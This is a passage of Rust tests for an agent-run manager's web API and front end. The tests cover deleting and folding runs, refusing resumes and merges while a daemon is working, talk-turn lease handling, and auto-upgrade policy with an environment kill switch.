22894        let body = &APP_JS[start..end];
22895
22896        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22897        let gate_end = gate_start
22898            + body[gate_start..]
22899                .find("}\n  renderStatsQueue")
22900                .expect("the gate's own closing brace, right before the unconditional call");
22901        let gated = &body[gate_start..gate_end];
22902
22903        assert_eq!(
22904            body.matches("renderStatsQueue(").count(),
22905            1,
22906            "renderStats must call renderStatsQueue exactly once: {body}"
22907        );
22908        assert!(
22909            !gated.contains("renderStatsQueue"),
22910            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22911             run-derived panels on an empty run history - the queue panel has to render \
22912             regardless: {gated}"
22913        );
22914    }
22915
22916    #[test]
22917    fn web_ui_delete_contract_in_front_end() {
22918        // 1. API block has both delete endpoints
22919        assert!(APP_JS.contains("deleteRun:"));
22920        assert!(APP_JS.contains("deleteTask:"));
22921
22922        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
22923        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22924            ..APP_JS.find("function renderRuns").unwrap()];
22925        assert!(!run_cards_slice.to_lowercase().contains("delete"));
22926
22927        // 3. Run detail has delete entry and reasons
22928        assert!(APP_JS.contains("renderRunDelete"));
22929        assert!(APP_JS.contains("runDeleteReason"));
22930        assert!(APP_JS.contains("magi fold"));
22931        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22932
22933        // 4. Two-step delete arming and focus on Cancel
22934        assert!(APP_JS.contains("cancel.focus"));
22935        assert!(APP_JS.contains("armedRunDelete"));
22936        assert!(APP_JS.contains("renderTaskDeleteBox"));
22937        assert!(APP_JS.contains("armed${cap(key)}"));
22938
22939        // 5. Running task has disabled delete
22940        assert!(APP_JS.contains("disabled: status === \"running\""));
22941    }
22942
22943    /// Every element a run card's updater reaches for must be in the `refs`
22944    /// the builder handed it.
22945    ///
22946    /// `createRunCard` builds its elements, appends them to the card, and then
22947    /// lists them again in `row.refs`. That second list is the one the updater
22948    /// uses, and nothing connects the two - an element can be built, appended
22949    /// and rendered, and still be missing from `refs`. `superseded` was, for
22950    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
22951    /// exception took `syncList` with it, and the deck showed
22952    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
22953    /// line is computed before the cards, which is why the failure looked like
22954    /// a server that had lost its runs rather than a front end that had
22955    /// stopped rendering them.
22956    ///
22957    /// A `cargo test` cannot execute the front end, so this reads the two
22958    /// halves out of the source and compares them as sets. It is not a check
22959    /// on the wording of either list: adding an element, renaming one, or
22960    /// reordering them all keeps this passing, and only using one the builder
22961    /// never published fails it.
22962    #[test]
22963    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22964        let build = APP_JS
22965            .find("function createRunCard")
22966            .expect("createRunCard exists");
22967        let update = APP_JS
22968            .find("function updateRunCard")
22969            .expect("updateRunCard exists");
22970        let end = APP_JS
22971            .find("function renderRuns")
22972            .expect("renderRuns exists");
22973
22974        // The builder's published set: the object literal assigned to `refs`.
22975        let builder = &APP_JS[build..update];
22976        let open = builder.find("refs = {").expect("createRunCard sets refs");
22977        let literal = &builder[open + "refs = {".len()..];
22978        let close = literal.find('}').expect("the refs literal is closed");
22979        let published: HashSet<&str> = literal[..close]
22980            .split(',')
22981            // `name` and `name: value` both bind `name`.
22982            .filter_map(|entry| entry.split(':').next())
22983            .map(str::trim)
22984            .filter(|name| !name.is_empty())
22985            .collect();
22986        assert!(
22987            published.len() > 5,
22988            "the refs literal did not parse into names: {published:?}"
22989        );
22990
22991        // What the updaters reach for: every `r.<name>`, where `r` is the
22992        // `const r = row.refs` alias both functions open with.
22993        let mut used: Vec<&str> = Vec::new();
22994        let updaters = &APP_JS[update..end];
22995        for (at, _) in updaters.match_indices("r.") {
22996            // `r` must be the whole identifier, not the tail of another one
22997            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
22998            let before = updaters[..at].chars().next_back();
22999            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
23000                continue;
23001            }
23002            let rest = &updaters[at + 2..];
23003            let len = rest
23004                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
23005                .unwrap_or(rest.len());
23006            if len > 0 {
23007                used.push(&rest[..len]);
23008            }
23009        }
23010        assert!(
23011            used.len() > 5,
23012            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
23013        );
23014
23015        let missing: Vec<&str> = used
23016            .iter()
23017            .copied()
23018            .filter(|name| !published.contains(name))
23019            .collect();
23020        assert!(
23021            missing.is_empty(),
23022            "a run card's updater reaches for {missing:?}, which `createRunCard` \
23023             never put in `refs` - every card will throw and the list will \
23024             render empty under a count line that says otherwise. Published: \
23025             {published:?}"
23026        );
23027    }
23028
23029    #[tokio::test]
23030    async fn folding_from_the_phone_reports_what_it_removed() {
23031        let fx = Fixture::start().await;
23032        let runs = fx.runs();
23033
23034        // A run with no candidates has nothing to fold, which is a 200 with an
23035        // honest count rather than an error: the operator asked for the trees
23036        // to be gone and they are.
23037        let id = "20260901-000000-fold";
23038        write_run(&runs, id, RunStatus::Stalled);
23039        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23040        assert_eq!(res.status, 200);
23041        assert_eq!(res.json()["removed_count"], 0);
23042        assert_eq!(res.json()["run"], id);
23043        assert!(
23044            runs.join(id).exists(),
23045            "a fold keeps the run's record; only the worktrees go"
23046        );
23047    }
23048
23049    #[tokio::test]
23050    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
23051        let fx = Fixture::start().await;
23052        let runs = fx.runs();
23053        let wt = fx.home.path().join("wt").join("magi").join("dead");
23054        let id = "20260901-000000-dead";
23055        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23056        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23057        std::fs::create_dir_all(&wt).expect("worktree dir");
23058
23059        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23060        assert_eq!(res.status, 200, "{}", res.body);
23061        assert!(
23062            res.json()["removed_count"].as_u64().unwrap() > 0,
23063            "the worktree this build could not read a state for still went"
23064        );
23065        assert!(
23066            !runs.join(id).exists(),
23067            "an unreadable run has no candidate list to fold selectively, so \
23068             the whole record goes - same as `magi fold` on the CLI"
23069        );
23070    }
23071
23072    #[tokio::test]
23073    async fn deleting_an_unreadable_run_removes_it_wholesale() {
23074        let fx = Fixture::start().await;
23075        let runs = fx.runs();
23076        let wt = fx.home.path().join("wt").join("magi").join("gone");
23077        let id = "20260901-000000-gone";
23078        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23079        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23080        std::fs::create_dir_all(&wt).expect("worktree dir");
23081
23082        let res = fx.delete(&format!("/api/runs/{id}")).await;
23083        assert_eq!(res.status, 204, "{}", res.body);
23084        assert!(!runs.join(id).exists(), "the broken record is gone");
23085        assert!(!wt.exists(), "its worktree is gone too");
23086    }
23087
23088    #[tokio::test]
23089    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23090        let fx = Fixture::start().await;
23091        let runs = fx.runs();
23092        let id = "20260901-000000-live";
23093        write_run(&runs, id, RunStatus::Implementing);
23094
23095        let mut beat = crate::daemon::Status::new();
23096        beat.current = vec![crate::daemon::Current {
23097            worker: None,
23098            task: "20260901-000000-task".to_owned(),
23099            run: id.to_owned(),
23100        }];
23101        beat.updated_at = jiff::Timestamp::now();
23102        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23103            .expect("publish a heartbeat");
23104
23105        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23106        assert_eq!(res.status, 409);
23107        assert!(
23108            res.json()["error"]
23109                .as_str()
23110                .unwrap()
23111                .contains("live daemon"),
23112            "folding under a running agent would pull its worktree away"
23113        );
23114    }
23115
23116    #[tokio::test]
23117    async fn fold_merged_requires_a_pr_url() {
23118        let fx = Fixture::start().await;
23119        let runs = fx.runs();
23120        let id = "20260901-000000-nourl";
23121        write_run(&runs, id, RunStatus::Blocked);
23122
23123        let res = fx
23124            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23125            .await;
23126        assert_eq!(res.status, 400, "{}", res.body);
23127
23128        let blank = fx
23129            .post(
23130                &format!("/api/runs/{id}/fold-merged"),
23131                Some(r#"{"pr_url":"   "}"#),
23132            )
23133            .await;
23134        assert_eq!(blank.status, 400, "{}", blank.body);
23135    }
23136
23137    #[tokio::test]
23138    async fn fold_merged_is_404_for_an_unknown_run() {
23139        let fx = Fixture::start().await;
23140        let res = fx
23141            .post(
23142                "/api/runs/nosuchrun/fold-merged",
23143                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23144            )
23145            .await;
23146        assert_eq!(res.status, 404, "{}", res.body);
23147    }
23148
23149    #[tokio::test]
23150    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23151        let fx = Fixture::start().await;
23152        let runs = fx.runs();
23153        let id = "20260901-000000-livemerge";
23154        write_run(&runs, id, RunStatus::Blocked);
23155
23156        let mut beat = crate::daemon::Status::new();
23157        beat.current = vec![crate::daemon::Current {
23158            worker: None,
23159            task: "20260901-000000-task".to_owned(),
23160            run: id.to_owned(),
23161        }];
23162        beat.updated_at = jiff::Timestamp::now();
23163        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23164            .expect("publish a heartbeat");
23165
23166        let res = fx
23167            .post(
23168                &format!("/api/runs/{id}/fold-merged"),
23169                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23170            )
23171            .await;
23172        assert_eq!(res.status, 409, "{}", res.body);
23173        assert!(
23174            res.json()["error"]
23175                .as_str()
23176                .unwrap()
23177                .contains("live daemon"),
23178            "correcting a run's merge underneath a running agent would race \
23179             whatever it is doing to the same `status`/`merge` fields"
23180        );
23181    }
23182
23183    /// A pull request `gh` cannot even ask about (no such remote, no such
23184    /// repository) must never be recorded as a merge on a guess - the same
23185    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
23186    /// command line, reached here through the phone route instead.
23187    #[tokio::test]
23188    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23189        let fx = Fixture::start().await;
23190        let runs = fx.runs();
23191        let id = "20260901-000000-unconfirmed";
23192        write_run(&runs, id, RunStatus::Blocked);
23193
23194        let res = fx
23195            .post(
23196                &format!("/api/runs/{id}/fold-merged"),
23197                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23198            )
23199            .await;
23200        assert_eq!(res.status, 400, "{}", res.body);
23201        assert_eq!(
23202            read_run(&runs, id).unwrap().status,
23203            RunStatus::Blocked,
23204            "a pull request that could not be confirmed merged must leave \
23205             the run exactly where it was"
23206        );
23207    }
23208
23209    #[tokio::test]
23210    async fn terminal_runs_cannot_be_resumed() {
23211        let fx = Fixture::start().await;
23212        let runs = fx.runs();
23213
23214        for (status, word) in [
23215            (RunStatus::Merged, "merged"),
23216            (RunStatus::Ready, "ready"),
23217            (RunStatus::Failed, "failed"),
23218        ] {
23219            let id = format!("20260901-000000-{}", &word[..4]);
23220            write_run(&runs, &id, status);
23221            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23222            assert_eq!(res.status, 409, "{word} must not be resumable");
23223        }
23224    }
23225
23226    #[tokio::test]
23227    async fn resume_is_refused_while_the_loop_is_running() {
23228        let fx = Fixture::start().await;
23229        let runs = fx.runs();
23230        let stalled = "20260901-000000-stal";
23231        write_run(&runs, stalled, RunStatus::Stalled);
23232
23233        // The loop is busy with a *different* run, and that is still a
23234        // refusal: a manual resume must never race whatever the loop itself
23235        // is already driving, whether that is one run or several.
23236        let mut beat = crate::daemon::Status::new();
23237        beat.current = vec![crate::daemon::Current {
23238            worker: None,
23239            task: "20260901-000000-task".to_owned(),
23240            run: "20260901-000000-othr".to_owned(),
23241        }];
23242        beat.updated_at = jiff::Timestamp::now();
23243        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23244            .expect("publish a heartbeat");
23245
23246        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23247        assert_eq!(res.status, 409);
23248        let err = res.json()["error"].as_str().unwrap().to_owned();
23249        assert!(err.contains("othr"), "it names what the loop is on: {err}");
23250        assert!(err.contains("stop it first"), "{err}");
23251    }
23252
23253    #[test]
23254    fn a_run_cannot_be_resumed_twice_at_once() {
23255        let home = TempDir::new().expect("temp home");
23256        let ui = Ui::new(
23257            Queue::at(home.path().join("queue")),
23258            Questions::at(home.path().join("questions")),
23259            Talks::at(home.path().join("talks")),
23260            home.path().join("runs"),
23261            home.path().to_path_buf(),
23262            PathBuf::from("/repo"),
23263        )
23264        .with_worktrees_root(home.path().join("wt"));
23265        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23266        let again = ui.begin_resume("20260901-000000-once");
23267        assert!(again.is_err(), "a second tap must not start a second graph");
23268        drop(first);
23269        assert!(
23270            ui.begin_resume("20260901-000000-once").is_ok(),
23271            "and the claim is released when the attempt ends"
23272        );
23273    }
23274
23275    #[test]
23276    fn talk_thinking_tracks_only_its_held_turn_claim() {
23277        let home = TempDir::new().expect("temp home");
23278        let ui = Ui::new(
23279            Queue::at(home.path().join("queue")),
23280            Questions::at(home.path().join("questions")),
23281            Talks::at(home.path().join("talks")),
23282            home.path().join("runs"),
23283            home.path().to_path_buf(),
23284            PathBuf::from("/repo"),
23285        )
23286        .with_worktrees_root(home.path().join("wt"));
23287        let id = "20260901-000000-once";
23288
23289        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23290        let turn = ui.begin_talk_turn(id).expect("claim turn");
23291        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23292        assert!(
23293            !ui.is_thinking("20260901-000000-other"),
23294            "one talk's turn does not make another talk busy"
23295        );
23296        drop(turn);
23297        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23298    }
23299
23300    #[test]
23301    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23302        let home = TempDir::new().expect("temp home");
23303        let talks = Talks::at(home.path().join("talks"));
23304        let ui = Ui::new(
23305            Queue::at(home.path().join("queue")),
23306            Questions::at(home.path().join("questions")),
23307            talks.clone(),
23308            home.path().join("runs"),
23309            home.path().to_path_buf(),
23310            PathBuf::from("/repo"),
23311        )
23312        .with_worktrees_root(home.path().join("wt"));
23313        let id = "20260901-000000-cross";
23314
23315        let other = Talks::at(home.path().join("talks"))
23316            .claim_turn(id)
23317            .expect("claim")
23318            .expect("the other process wins");
23319        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23320        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23321        assert!(
23322            matches!(
23323                ui.begin_talk_turn_unless_pending(id).expect("start"),
23324                TalkTurnStart::Foreign
23325            ),
23326            "a foreign holder is refused, not queued behind"
23327        );
23328        assert!(
23329            !ui.talk_turns.lock().unwrap().live.contains(id),
23330            "a refused claim leaves no in-process entry behind"
23331        );
23332        drop(other);
23333        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23334        assert!(talks.turn_held(id), "the web turn holds the lease");
23335        drop(turn);
23336        assert!(
23337            !talks.turn_held(id),
23338            "dropping the guard releases the lease"
23339        );
23340    }
23341
23342    fn consult_question(ui: &Ui) -> Question {
23343        let mut q = Question::new(
23344            "20260901-000000-consult".to_owned(),
23345            "implement".to_owned(),
23346            "impl-A".to_owned(),
23347            "Which backend?".to_owned(),
23348            String::new(),
23349            vec!["SQLite".to_owned(), "Redis".to_owned()],
23350        );
23351        ui.questions.put(&mut q).expect("question");
23352        q
23353    }
23354
23355    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23356        (
23357            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23358            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23359        )
23360    }
23361
23362    #[tokio::test]
23363    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23364        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23365        let q = consult_question(&ui);
23366        let talk = ui.talks.get(&id).expect("talk");
23367        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23368        let before = consult_snapshot(&ui, &q, &id);
23369        let cli_talks = Talks::at(ui.home.join("talks"));
23370        assert_eq!(
23371            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23372                .await
23373                .expect("CLI starter"),
23374            crate::consult::Started::Busy
23375        );
23376        assert_eq!(consult_snapshot(&ui, &q, &id), before);
23377        assert!(ui.is_thinking(&id));
23378        drop(guard);
23379        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23380    }
23381
23382    #[tokio::test]
23383    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23384        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23385        let q = consult_question(&ui);
23386        let talk = ui.talks.get(&id).expect("talk");
23387        let started = tmp.path().join("started");
23388        let release = tmp.path().join("release");
23389        let script = tmp.path().join("consult-agent.sh");
23390        std::fs::write(
23391            &script,
23392            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
23393        )
23394        .expect("script");
23395        let mut cfg = stub_config();
23396        cfg.agents[0].id = "mock".to_owned();
23397        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23398        cfg.agents[0].env = std::collections::BTreeMap::from([
23399            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23400            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23401        ]);
23402        let questions = ui.questions.clone();
23403        let cli_talks = Talks::at(ui.home.join("talks"));
23404        let cli_q = q.clone();
23405        let turn = tokio::spawn(async move {
23406            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23407        });
23408        let ready = tokio::time::timeout(Duration::from_secs(30), async {
23409            while !started.exists() {
23410                tokio::time::sleep(Duration::from_millis(10)).await;
23411            }
23412        })
23413        .await;
23414        // Always release and join the agent, even if readiness or the web
23415        // request fails, so a failed assertion cannot leave a turn behind.
23416        let refusal = if ready.is_ok() {
23417            let before = consult_snapshot(&ui, &q, &id);
23418            let result = talk_say(
23419                State(Arc::clone(&ui)),
23420                Path(id.clone()),
23421                Ok(Json(NewTalkTurn {
23422                    reply_to: None,
23423                    text: "another message".to_owned(),
23424                    attachments: Vec::new(),
23425                })),
23426            )
23427            .await;
23428            Some((result, before, consult_snapshot(&ui, &q, &id)))
23429        } else {
23430            None
23431        };
23432        std::fs::write(&release, "").expect("release agent");
23433        let done = turn.await.expect("join CLI turn");
23434        ready.expect("agent started before deadline");
23435        let (result, before, after) = refusal.expect("web request");
23436        let error = result.expect_err("web must refuse the CLI's turn");
23437        assert_eq!(error.status, StatusCode::CONFLICT);
23438        assert!(error.message.contains("a turn is already running"));
23439        assert_eq!(
23440            after, before,
23441            "refusal preserves question, draft and history"
23442        );
23443        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23444        let guard = ui
23445            .begin_talk_turn(&id)
23446            .expect("web claim")
23447            .expect("free again");
23448        drop(guard);
23449    }
23450
23451    #[test]
23452    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23453        let home = TempDir::new().expect("temp home");
23454        let talks = Talks::at(home.path().join("talks"));
23455        let ui = Ui::new(
23456            Queue::at(home.path().join("queue")),
23457            Questions::at(home.path().join("questions")),
23458            talks.clone(),
23459            home.path().join("runs"),
23460            home.path().to_path_buf(),
23461            PathBuf::from("/repo"),
23462        )
23463        .with_worktrees_root(home.path().join("wt"));
23464        let id = "20260901-000000-order";
23465        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23466        // Hold the slot mutex so the drop can finish the lease but not the slot.
23467        let slots = ui.talk_turns.lock().unwrap();
23468        let dropper = std::thread::spawn(move || drop(turn));
23469        let start = std::time::Instant::now();
23470        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23471            std::thread::sleep(Duration::from_millis(5));
23472        }
23473        assert!(!talks.turn_held(id), "the lease is released first");
23474        assert!(slots.live.contains(id), "the slot is still held meanwhile");
23475        drop(slots);
23476        dropper.join().expect("join");
23477        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23478    }
23479
23480    #[tokio::test]
23481    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23482        let fx = Fixture::start().await;
23483        let mut beat = crate::daemon::Status::new();
23484        beat.worker_protocol = None;
23485        beat.pid = 4321;
23486        beat.updated_at = jiff::Timestamp::now();
23487        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23488            .expect("publish a heartbeat");
23489
23490        let res = fx.post("/api/upgrade", None).await;
23491        assert_eq!(res.status, 409);
23492    }
23493
23494    /// [`should_spawn_recheck`] must refuse for the same two reasons
23495    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
23496    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
23497    /// Purely a predicate over config and the environment - no network, no
23498    /// disk, no runtime - so unlike the fixture-based tests around it this
23499    /// one needs neither.
23500    #[test]
23501    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23502        assert!(!should_spawn_recheck(&crate::config::Update {
23503            mode: UpdateMode::Off,
23504            interval: None,
23505            auto_restart: false,
23506        }));
23507
23508        // SAFETY: single-threaded as far as this variable goes, the same
23509        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23510        unsafe {
23511            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23512        }
23513        let killed = should_spawn_recheck(&crate::config::Update {
23514            mode: UpdateMode::Notify,
23515            interval: None,
23516            auto_restart: false,
23517        });
23518        unsafe {
23519            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23520        }
23521        assert!(
23522            !killed,
23523            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23524             one-time startup check"
23525        );
23526
23527        assert!(should_spawn_recheck(&crate::config::Update {
23528            mode: UpdateMode::Notify,
23529            interval: None,
23530            auto_restart: false,
23531        }));
23532    }
23533
23534    /// [`recheck_poll_period`] must track a configured `[update] interval`
23535    /// shorter than its own default ceiling - a fixed sleep here would leave
23536    /// an operator's short interval waiting on the next wake-up instead of on
23537    /// `should_check`, which is the same bug this whole task exists to fix,
23538    /// just one level down.
23539    #[test]
23540    fn recheck_poll_period_tracks_a_short_configured_interval() {
23541        let short = crate::config::Update {
23542            mode: UpdateMode::Notify,
23543            interval: Some("1m".to_owned()),
23544            auto_restart: false,
23545        };
23546        let period = recheck_poll_period(&short);
23547        assert!(
23548            period <= Duration::from_secs(30),
23549            "a one-minute interval must wake the task far sooner than the \
23550             default ceiling, or the deck would not notice within the \
23551             interval the operator configured: got {period:?}"
23552        );
23553
23554        let default = crate::config::Update {
23555            mode: UpdateMode::Notify,
23556            interval: None,
23557            auto_restart: false,
23558        };
23559        assert_eq!(
23560            recheck_poll_period(&default),
23561            UPDATE_RECHECK_POLL_MAX,
23562            "the default day-long interval should poll at the (capped) \
23563             ceiling rather than needlessly often"
23564        );
23565    }
23566
23567    /// [`update_recheck_due`] must not repeat a check made moments ago, the
23568    /// same throttle `updater::Checker::should_check` already gives the
23569    /// CLI's notify mode. Built over an explicit state file via
23570    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
23571    /// write the operator's real `last_update_check.json` - and therefore
23572    /// cannot flake on whatever that file happens to say on the machine
23573    /// running the test.
23574    #[test]
23575    fn recheck_skips_the_network_before_the_interval_elapses() {
23576        let dir = TempDir::new().expect("temp dir");
23577        let path = dir.path().join("state.json");
23578        let state = kaishin::UpdateCheckState {
23579            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23580            last_known_latest: None,
23581            last_known_url: None,
23582        };
23583        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23584
23585        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23586        assert!(
23587            !update_recheck_due(&checker, None),
23588            "a check made moments ago must not be repeated before the \
23589             configured interval elapses"
23590        );
23591    }
23592
23593    /// An upgrade this deck already started must not be raced by a recheck
23594    /// that discovers a newer release mid-install - regardless of what
23595    /// `should_check` says, which is why the state file here is missing
23596    /// entirely: read alone, that alone would answer "never checked, go
23597    /// ahead".
23598    #[test]
23599    fn recheck_defers_to_an_upgrade_already_in_flight() {
23600        let dir = TempDir::new().expect("temp dir");
23601        let path = dir.path().join("state.json");
23602        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23603        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23604
23605        assert!(
23606            !update_recheck_due(&checker, Some(&progress)),
23607            "a recheck must not run while an upgrade this deck started is \
23608             still moving"
23609        );
23610    }
23611
23612    #[tokio::test]
23613    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23614        // The same env var the background check honours (`disabled_by_env`)
23615        // must also stop a button press before it ever calls
23616        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
23617        // means "never contact GitHub from this process", and a tap on the
23618        // upgrade button must not override that any more than a broken
23619        // `magi.toml` may. Left unset, this fixture's default config would
23620        // otherwise reach a real, unauthenticated GitHub call.
23621        //
23622        // SAFETY: single-threaded as far as this variable goes - nothing else
23623        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
23624        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23625        unsafe {
23626            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23627        }
23628        let fx = Fixture::start().await;
23629        let res = fx.post("/api/upgrade", None).await;
23630        unsafe {
23631            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23632        }
23633        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23634        let body = res.json();
23635        assert!(body["to"].is_null(), "there was no release to move to");
23636        assert!(body["parked"].is_null(), "and nothing was parked");
23637        assert!(
23638            body["detail"]
23639                .as_str()
23640                .unwrap()
23641                .contains("disabled by MAGI_NO_AUTOUPDATE"),
23642            "{body:?}"
23643        );
23644    }
23645
23646    #[test]
23647    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23648        use AutoUpgradeDecision::{Skip, Trigger, Wait};
23649        let mut cfg = Update::default();
23650        assert!(matches!(
23651            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23652            Skip(_)
23653        ));
23654        cfg.auto_restart = true;
23655        assert_eq!(
23656            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23657            Trigger
23658        );
23659        assert_eq!(
23660            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23661            Wait
23662        );
23663        for (disabled, moving, failed) in [
23664            (true, false, None),
23665            (false, true, None),
23666            (false, false, Some("v2")),
23667        ] {
23668            assert!(matches!(
23669                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23670                Skip(_)
23671            ));
23672        }
23673        assert_eq!(
23674            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23675            Trigger
23676        );
23677        cfg.mode = UpdateMode::Off;
23678        assert!(matches!(
23679            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23680            Skip(_)
23681        ));
23682    }
23683
23684    #[test]
23685    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23686        let home = TempDir::new().unwrap();
23687        let ui = idle_ui(&home);
23688        assert!(!ui.auto_upgrade_busy());
23689        let directory = home.path().join("workers/jobs/abcdef");
23690        std::fs::create_dir_all(&directory).unwrap();
23691        let mut job = crate::worker::Job {
23692            id: "abcdef".into(),
23693            sequence: 1,
23694            kind: "scheduler".into(),
23695            key: "scheduler".into(),
23696            payload: serde_json::json!({}),
23697            generation: "test".into(),
23698            version: None,
23699            status: crate::worker::Status::Running,
23700            result: None,
23701            pid: None,
23702            created_at: 0,
23703            finished_at: None,
23704        };
23705        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23706        let write = |job: &crate::worker::Job| {
23707            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23708        };
23709        write(&job);
23710        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23711        for kind in ["task", "chat"] {
23712            job.kind = kind.into();
23713            write(&job);
23714            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
23715        }
23716        drop(lease);
23717        // Lease::drop explicitly unlocks even if a concurrent fork inherited
23718        // the descriptor. Check the real decision directly: a raw flock probe
23719        // here could itself be inherited and keep the worker looking busy.
23720        assert!(
23721            !ui.auto_upgrade_busy(),
23722            "completed execution permits updates"
23723        );
23724        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
23725        assert!(
23726            ui.auto_upgrade_busy(),
23727            "unreadable worker state defers updates"
23728        );
23729    }
23730
23731    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23732        Box::pin(async { anyhow::bail!("test installer failed") })
23733    }
23734
23735    #[tokio::test]
23736    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
23737        let home = TempDir::new().unwrap();
23738        std::fs::write(
23739            home.path().join("magi.toml"),
23740            "[update]\nauto_restart = true\n",
23741        )
23742        .unwrap();
23743        let mut ui = idle_ui(&home);
23744        ui.repo = home.path().to_path_buf();
23745        // Every successful trigger in this test uses this seam, never the installer.
23746        ui.upgrade_runner = fail_test_upgrade;
23747        let ui = Arc::new(ui);
23748        let latest = || {
23749            Some(kaishin::LatestRelease {
